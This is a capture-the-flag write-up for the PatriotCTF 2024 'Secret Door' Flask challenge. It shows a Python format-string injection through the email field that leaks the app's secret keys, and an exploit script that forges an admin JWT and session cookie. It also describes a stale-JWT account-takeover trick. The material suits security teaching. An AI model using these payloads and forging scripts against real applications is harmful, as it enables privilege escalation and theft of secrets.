0

Justus Perlwitz · 1mo · discuss

Here's my writeup for the PatriotCTF 2024 Secret Door challenge. Challenge notes Secret Door 476 Medium knock knock... htp://chal.competitivecyber.club:1337 Author: sans909 Files Download the dist.tar.xz challenge archive and unpack it with tar: wget --content-disposition "https://pctf.competitivecyber.club/files/dd50b21c157f0ccd4ca7363853cfa1bb/dist.tar.zx?token=…" tar -C secret_door/ -xv -f dist.tar.zx Here's what's in the challenge archive: dist/ dist/build-docker.sh dist/challenge/ dist/challenge/app.py dist/challenge/blueprints/ dist/challenge/blueprints/api_routes.py dist/challenge/blueprints/web_routes.py dist/challenge/config.py dist/challenge/database.py dist/challenge/requirements.txt dist/challenge/run.py dist/challenge/static/ dist/challenge/templates/ dist/challenge/templates/403.html dist/challenge/templates/404.html dist/challenge/templates/admin.html dist/challenge/templates/base.html dist/challenge/templates/home.html dist/challenge/templates/login.html dist/challenge/templates/personal-logs.html dist/challenge/templates/register.html dist/challenge/templates/update-email.html dist/challenge/util.py dist/config/ dist/config/supervisord.conf dist/Dockerfile dist/entrypoint.sh First, format all files with ruff: ruff format secret_door/dist/**.py Build and run the challenge app server with Podman: podman rm -f secret_door podman build -f secret_door/dist/Dockerfile -t secret_door podman run -p 1337:1337 --rm --replace --name secret_door secret_door Landing page of secret door Open in new tab (full image size 15 KiB) Sign up and log in with Email "admin@localhost" and Password "password". /home path shown after logging in Open in new tab (full image size 11 KiB) CSS escape game and email updates The app contains a fun CSS game that you can mess around with: CSS escape game Open in new tab (full image size 7 KiB) Cheat and solve the puzzle using the Firefox accessibility inspector: Solved puzzle There's an /update-email site that lets you update your email address: /update-email lets you update your email Open in new tab (full image size 6 KiB) Your email address changes show up on /update-logs: When an email address is updated, /update-logs shows the changes Open in new tab (full image size 7 KiB) Find out what to do What do we have to do? When you open /admin, it renders the flag inside the admin.html template in this admin_home function: # dist/challenge/blueprints/web_routes.py @web.route("/admin") @is_admin def admin_home(): flag = current_app.config["FLAG"] return render_template("admin.html", flag=flag) Here's what's in the admin.html template: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin Page</title> </head> <body> <h1>Admin Page</h1> {% if flag %} <p>The flag: {{ flag }}</p> {% else %} <p>The flag is disabled.</p> {% endif %} </body> </html> You can make the admin_home as long as you convince the app that you're an administrator. How do you become administrator? The is_admin() decorator checks whether the session contains a valid JWT with the role set to admin. This means your JWT needs to attain the admin role. Note the verify_JWT(token) function call: # dist/challenge/util.py def is_admin(f): @wraps(f) def decorator(*args, **kwargs): token = session.get("auth") if not token: return abort(401, "Unauthorized access detected!!") decoded_token = verify_JWT(token) if decoded_token["role"] != "admin": return abort(401, "Unauthorized access detected!!") return f(*args, **kwargs) return decorator Here's how the app generates JWT with create_JWT(email, role) and verifies them with verify_JWT(token): def generate_key(x): return os.urandom(x).hex() FLASK_SECRET_KEY = generate_key(256) jwt_key = generate_key(256) def create_JWT(email: str, role="regular"): utc_time = datetime.datetime.now(datetime.UTC) token_expiration = utc_time + datetime.timedelta(minutes=1000) data = {"email": email, "exp": token_expiration, "role": role} encoded = jwt.encode(data, jwt_key, algorithm="HS256") return encoded def verify_JWT(token): try: token_decode = jwt.decode(token, jwt_key, algorithms="HS256") return token_decode except: return abort(401, "Invalid authentication token!") The app stores the JWT in your session. Here's an example: .eJwVjUsOgjAABe_CAQj_BHdIaGmFIio_d5ZiKFRCgmCK8e7C9mVm3ld5zO9WOSiNxC2FNU84RtmKdMLRhIaLXfvIQf1Y5j521Q0StAAj3ccX6Gkh5rg_TtQgm9wutZnyyMeiCT2edIEZd5VNukqSW7rF8EJhth_Ie8F0CoFEg6ZG4hNpgQ2WmFmu0T0Xa7Yok55DSpHH7FQFYbReU3gWmfL7AzaROow.Zu5_jg.W_AapJkLcuyp7cwLt00MOU7VmsE Take a look at this SQL INSERT statement in entrypoint.sh. Note the users table, the admin user insertion, and the insert_user stored procedure: mysql -u root << EOF -- … CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, email VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, role ENUM('admin', 'regular') DEFAULT 'regular' ); -- … -- create one admin user INSERT INTO users (email, password, role) VALUES ('admin@competitivecyber.club', '${ADMIN_PASSWORD}', 'admin'); -- … -- create a stored procedure for adding -- more users CREATE PROCEDURE insert_user ( IN p_email VARCHAR(255), IN p_password VARCHAR(255) ) BEGIN INSERT INTO users (email, password) VALUES (p_email, p_password); -- … EOF The insert_user stored procedure creates users with email and password. Since it doesn't state a user role, all users except the admin user have a regular role. Could you maybe change your user's address to become the administrator's email address "admin@competitivecyber.club"? Unlikely: the update_user_email procedure checks if emails are taken and outputs "The new email address is already in use.": CREATE PROCEDURE update_user_email ( IN p_old_email VARCHAR(255), IN p_new_email VARCHAR(255) ) BEGIN -- Check if the new email is already in use IF EXISTS (SELECT 1 FROM users WHERE email = p_new_email) THEN -- Throw an error indicating the email is already in use SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'The new email address is already in use.'; ELSE -- Update email if not in use UPDATE users SET email = p_new_email WHERE email = p_old_email; END IF; END Find out what happens and create one test user, then sign up with a second test user and try to take over the first test user's email address. This creates the first user: # First register curl -v http://localhost:1337/api/register \ --json '{"email":"test@localhost","password":"password"}' # Then log in curl -v http://localhost:1337/api/login \ --json '{"email":"test@localhost","password":"password"}' \ --cookie-jar secret_door/cookie.jar # Review logs curl -v http://localhost:1337/api/view-logs --cookie secret_door/cookie.jar Here's what calling curl to sign up, log in, and view your logs at view-logs prints: [...] > POST /api/login HTTP/1.1 [...] * upload completely sent off: 48 bytes < HTTP/1.1 302 FOUND < Server: Werkzeug/3.0.4 Python/3.11.10 < Date: Sat, 21 Sep 2024 10:53:52 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 197 < Location: /home < Vary: Cookie < Set-Cookie: session=.eJwVzEkOgkAQQNG7cADDIAjusBVSRCASEHRnt0MXs6ChwXh3cfvy8z_S5f3i0lq6jR6nLsMQPUgmUAKEHupIZwQMKNrsSDxrMUclTZ2W_rGOSqZFNnWt_JSKhmqBDDjgOeMD5I0IJlDDmKn-1h_3xBupKsrZkVXH-poKznAeHhpMzd6Wu00Y7rKS0nxJRD1lQaVWT2P1uFex0qFemE4ifX-p9jqG.Zu6lwA.BLb4tzmvc8WB3Y8S92qAM0cbcVU; HttpOnly; Path=/ < Connection: close < <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/home">/home</a>. If not, click the link. [...] > POST /api/login HTTP/1.1 [...] * upload completely sent off: 48 bytes < HTTP/1.1 302 FOUND [...] < Set-Cookie: session=.eJwVzN0KgjAYgOF78QKiJlZ2Fkr6TZ0h_nYSbUqbzSlo-BPde3b68PJ-tMd74NpJq2bMqcNEKDAkC-yIgB5UZDAL9vDq8tTC5maNJM0uHf2jiiTTozN1zLrIppbqZAtiFLecj1C3E1kAhTFDgZ0g38IzRZNcXbAmVWU2cSbWYRy4sdz6irtVrGZ-8Gx9cUgj7_haFGXCj7RPDY_WzyHQvj-WhDp9.Zu6l2A.kNWFfQIVE21iWpqJTSU1NezI_pM; HttpOnly; Path=/ [...] [...] > GET /api/view-logs HTTP/1.1 [...] [] [...] The api/view-logs requests prints an empty list []. Create a second user with more curl calls: curl http://localhost:1337/api/register \ --json '{"email":"test2@localhost","password":"password"}' curl http://localhost:1337/api/login \ --json '{"email":"test2@localhost","password":"password"}' \ --cookie-jar secret_door/cookie_2.jar curl http://localhost:1337/api/view-logs --cookie secret_door/cookie_2.jar Similar output: <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link. <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/home">/home</a>. If not, click the link. [] Change the email for the second user: curl http://localhost:1337/api/update-email \ --json '{"email":"test2-changed@localhost"}' \ --cookie secret_door/cookie_2.jar That invalidates the cookie, effectively logging you out. Log in again and review the second user's logs: curl http://localhost:1337/api/login \ --json '{"email":"test2-changed@localhost","password":"password"}' \ --cookie-jar secret_door/cookie_2_chg_email.jar curl http://localhost:1337/api/view-logs \ --cookie secret_door/cookie_2_chg_email.jar Here's the response for /api/view-logs: {"log_date":"Sat, 21 Sep 2024 10:58:59 GMT","log_text":"Email updated to test2-changed@localhost at 2024-09-21 10:58:59"}] To confirm that the first user can't see this log, query the logs again as the first user with the secret_door/cookie.jar cookie jar: curl http://localhost:1337/api/view-logs --cookie secret_door/cookie.jar The logs are empty, as expected: [] Decode the user's cookie jar with this decode_cookie.py script: from itsdangerous import URLSafeTimedSerializer import json import zlib import base64 def decode_jwt(token): header, payload, signature = token.split('.') def decode_base64_url(data): # Correct padding issues and decode from base64 data += '=' * (-len(data) % 4) # Padding might be missing, so it's added here return base64.urlsafe_b64decode(data.encode()).decode() # Decoding from base64 decoded_header = decode_base64_url(header) decoded_payload = decode_base64_url(payload) return json.loads(decoded_header), json.loads(decoded_payload) def decode_part(payload: str) -> dict | None: """.""" # Base64 decode try: base64_payload = base64.urlsafe_b64decode(payload + '==') # Padding might be required except Exception as e: return None # Attempt to decompress if compressed, assuming Flask default compression try: decompressed_payload = zlib.decompress(base64_payload) except: decompressed_payload = base64_payload # If not compressed or decompression fails, use the original # Deserialize using Flask's default serializer serializer = TaggedJSONSerializer() try: deserialized_data = serializer.loads(decompressed_payload) return deserialized_data except Exception as e: return None def decode_flask_cookie_without_secret(cookie): # Split the cookie into payload and signature parts for payload in cookie.split("."): print(f"{payload=}") decoded = decode_part(payload) if decoded is None: continue print(f"{decoded=}") if 'auth' in decoded: auth = decoded["auth"] print(decode_jwt(auth)) cookie = input() decoded_cookie = decode_flask_cookie_without_secret(cookie) print(decoded_cookie) Run on the cookie.jar cookie jar: tail -n1 cookie.jar | cut -f 7 | poetry run python decode_cookie.py Output: payload='' payload='eJwVzN0KgjAYgOF78QKiJlZ2Fkr6TZ0h_nYSbUqbzSlo-BPde3b68PJ-tMd74NpJq2bMqcNEKDAkC-yIgB5UZDAL9vDq8tTC5maNJM0uHf2jiiTTozN1zLrIppbqZAtiFLecj1C3E1kAhTFDgZ0g38IzRZNcXbAmVWU2cSbWYRy4sdz6irtVrGZ-8Gx9cUgj7_haFGXCj7RPDY_WzyHQvj-WhDp9' decoded={'auth': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAbG9jYWxob3N0IiwiZXhwIjoxNzI2OTc2MDU2LCJyb2xlIjoicmVndWxhciJ9.TMHTl0LnhHeTnyh7KD3zGNml_JPYYdUh8bsV5KbjgtM'} ({'alg': 'HS256', 'typ': 'JWT'}, {'email': 'test@localhost', 'exp': 1726976056, 'role': 'regular'}) payload='Zu6l2A' payload='kNWFfQIVE21iWpqJTSU1NezI_pM' None If you have a JWT for your previous email address and someone else takes that email address, you can take over their account: set old_cookie secret_door/cookie_old.jar set new_cookie secret_door/cookie_new.jar set email "test"(openssl rand -hex 8)"@localhost" set new_email "new-$email" set new_new_email "new-$new_email" printf "email: %s, new_email: %s" $email $new_email curl http://localhost:1337/api/register \ --json '{"email":"'$email'","password":"password"}' curl http://localhost:1337/api/login \ --json '{"email":"'$email'","password":"password"}' \ --cookie-jar $old_cookie tail -n1 $old_cookie curl http://localhost:1337/api/view-logs --cookie $old_cookie | jq echo "Retrieved logs before updating email" curl http://localhost:1337/api/update-email \ --json '{"email":"'$new_email'"}' \ --cookie $old_cookie -v # Will fail because # logs = query_db(log_query, (user["id"],), one=False) # user has changed curl http://localhost:1337/api/view-logs --silent --cookie $old_cookie # But, we can maybe update the email curl http://localhost:1337/api/update-email \ --json '{"email":"'$new_new_email'"}' \ --cookie $old_cookie -v echo "Retrieved logs after updating email" curl http://localhost:1337/api/login \ --json '{"email":"'$new_email'","password":"password"}' \ --cookie-jar $new_cookie echo "Logged in with new cookie" curl http://localhost:1337/api/view-logs --cookie $old_cookie | jq curl http://localhost:1337/api/view-logs --cookie $new_cookie | jq Here's how to update email addresses for other users: set user_a secret_door/cookie_old.jar set user_b secret_door/cookie_new.jar set email_a "test"(openssl rand -hex 8)"@localhost" set email_b "new-$email_a" set email_c "new-$email_b" set password_a "password_a" set password_b "password_b" printf "email_a: %s, email_b: %s" $email_a $email_b curl http://localhost:1337/api/register \ --json '{"email":"'$email_a'","password":"'$password_a'"}' curl http://localhost:1337/api/login \ --json '{"email":"'$email_a'","password":"'$password_a'"}' \ --cookie-jar $user_a echo "User a registered and logged in" curl http://localhost:1337/api/update-email \ --json '{"email":"'$email_b'"}' \ --cookie $user_a -v echo "Changed user a's email from $email_a to $email_b" curl http://localhost:1337/api/register \ --json '{"email":"'$email_a'","password":"'$password_b'"}' curl http://localhost:1337/api/login \ --json '{"email":"'$email_a'","password":"'$password_b'"}' \ --cookie-jar $user_b # curl http://localhost:1337/api/login \ # --json '{"email":"'$email'","password":"password"}' \ # --cookie-jar $user_b echo "Other user signed up with old email $email_a" echo "User b can retrieve logs:" curl http://localhost:1337/api/view-logs --cookie $user_b | jq curl http://localhost:1337/api/update-email \ --json '{"email":"'$email_c'"}' \ --cookie $user_a -v echo "User a changed user b's email from $email to $email_c" echo "User b can't retrieve logs:" curl http://localhost:1337/api/view-logs --cookie $user_b | jq Here's the vulnerability one more time: User a signs up with email a User a logs in and changes email to be email b User b signs up with email a User a can use old JWT to change user b's email to email c It turns out that this is unrelated to solving the challenge since you can't alter the role field contained in the JWT. Looking at hints again From the challenge notes: knock knock... This could imply that there's a secret handshake you can perform. The hint's in the unusual double formatting method chosen for the email update logging. Note the initial log_text = f"" assignment followed by log_text = log_text.format(): # dist/challenge/blueprints/api_routes.py from util import ( # … timestamp, ) # … @api.route("/update-email", methods=["POST"]) @is_authenticated def update_email(): # … log_text = f"Email updated to {new_email} at {update_date}" log_text = log_text.format( new_email=new_email, timestamp=timestamp, update_date=update_date ) timestamp is this function: # dist/challenge/util.py def timestamp(): return datetime.now() timestamp as part of the format string exposes its .__globals__ and you can retrieve jwt_key like this: ~/p/pctf2024!+(1)main$python3 Python 3.11.9 (main, Apr 2 2024, 08:25:04) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> a = 1 >>> def b(): ... pass ... >>> b.__globals__ {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'a': 1, 'b': <function b at 0x7fe0f3bafe20>} >>> b.__globals__["a"] 1 If you create an account with email {timestamp.__globals__[jwt_key]}@localhost, you can make the log_text in update_email equal this: Email updated to {timestamp.__globals__[jwt_key]} at $DATE This in turn should become the following: Email updated to $SECRET at $DATE That doesn't quite work, though, since is_valid_email validates your email address like so: # dist/challenge/util.py def is_valid_email(email): # Don't support long emails addr if len(email) > 50: return False # Canonical email addresses according to RFC 5322 email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])' if re.fullmatch(email_regex, email, re.IGNORECASE): return True return False Evaluate this regex with https://regex101.com. Set the delimiter to single quote ' and set the options to gmi. Enter this under Regular Expression: ([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*]) Then this Test String matches: hello{timestamp.__globals__}@world But this Test String doesn't match: hello{timestamp.__globals__[}@world regex101.com lets you try the is_valid_email regular expression Open in new tab (full image size 68 KiB) That means that you can't immediately select the right value out of .__globals__ by indexing it with .__globals__[jwt_key]. Instead, you can still return all .__globals__. Craft an exploit script in secret_door/exploit.py: #!/usr/bin/env python3 import os from typing import Any import requests import re import jwt import flask from flask import sessions # HOST = "http://localhost:1337" HOST = "http://chal.competitivecyber.club:1337/" payload = "{timestamp.__globals__}" def find_keys(src: str) -> tuple[str, str]: flask_secret_key_match = re.search( r"FLASK_SECRET_KEY&#39;: &#39;([0-9a-f]{512})&#39;,", src, ) assert flask_secret_key_match flask_secret_key = flask_secret_key_match[1] print(f"{flask_secret_key=}") jwt_key_match = re.search( r"jwt_key&#39;: &#39;([0-9a-f]{512})&#39;,", src, ) assert jwt_key_match jwt_key = jwt_key_match[1] print(f"{jwt_key=}") return flask_secret_key, jwt_key def dump_jwt( token: str, jwt_key: str ) -> dict[Any, Any]: return jwt.decode( token, jwt_key, algorithms=["HS256"] ) def sign_jwt( jwt_dct: dict[Any, Any], jwt_key: str ) -> str: return jwt.encode( jwt_dct, jwt_key, algorithm="HS256" ) def dump_session( session: str, secret_key: str ) -> dict[Any, Any]: app = flask.Flask("example") app.secret_key = secret_key # https://stackoverflow.com/a/42289001 serializer = sessions.SecureCookieSessionInterface().get_signing_serializer( app ) assert serializer return serializer.loads(session) def serialize_session( session: dict[Any, Any], secret_key: str ) -> str: app = flask.Flask("example") app.secret_key = secret_key # https://stackoverflow.com/a/42289001 serializer = sessions.SecureCookieSessionInterface().get_signing_serializer( app ) assert serializer return serializer.dumps(session) def main(): rand_id = os.urandom(4).hex() email = f"h0usedust-{rand_id}@localhost" password = "pwned" s = requests.Session() registered = s.post( f"{HOST}/api/register", json={ "email": email, "password": password, }, ) assert registered.ok print(f"Registered as {email}") logged_in = s.post( f"{HOST}/api/login", json={ "email": email, "password": password, }, ) assert logged_in.ok print(f"Logged in as {email}") new_email = f"{payload}-{rand_id}@localhost" assert len(new_email) <= 50 changed_email = s.post( f"{HOST}/api/update-email", json={ "email": new_email, }, ) assert changed_email.ok print(f"Changed email to {new_email}") logged_in = s.post( f"{HOST}/api/login", json={ "email": new_email, "password": password, }, ) assert logged_in.ok print(f"Logged in as {new_email}") logs = s.get(f"{HOST}/api/view-logs") assert logs.ok secret_key, jwt_key = find_keys(logs.text) session_cookie = s.cookies["session"] session = dump_session( session_cookie, secret_key ) jwt_raw = session["auth"] jwt = dump_jwt(jwt_raw, jwt_key) jwt = {**jwt, "role": "admin"} print(f"New jwt: {jwt}") jwt_raw = sign_jwt(jwt, jwt_key) session = {**session, "auth": jwt_raw} session_cookie = serialize_session( session, secret_key ) s.cookies.clear() s.cookies["session"] = session_cookie admin = s.get(f"{HOST}/admin") assert admin.ok flag_match = re.search( r"The flag: (.+)</p>", admin.text ) assert flag_match flag = flag_match[1] print(f"The flag is {flag}") if __name__ == "__main__": main() Run it with Poetry: # in secret_door/ poetry add requests touch exploit.py chmod +x exploit.py poetry run ./exploit.py First, change the email to a malicious email and see what globals the response contains: Globals dumped This is the text you need to match (ordering may be different) FLASK_SECRET_KEY&#39;: &#39;c9…3d&#39;, &#39;jwt_key&#39;: &#39;2b…6f&#39;, Here's a successful exploit run: Registered as h0usedust-4fa19abc@localhost Logged in as h0usedust-4fa19abc@localhost Changed email to {timestamp.__globals__}-4fa19abc@localhost Logged in as {timestamp.__globals__}-4fa19abc@localhost flask_secret_key='b5…9e' New jwt: {'email': '{timestamp.__globals__}-4fa19abc@localhost', 'exp': 1727030330, 'role': 'admin'} The flag is pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812} Flag found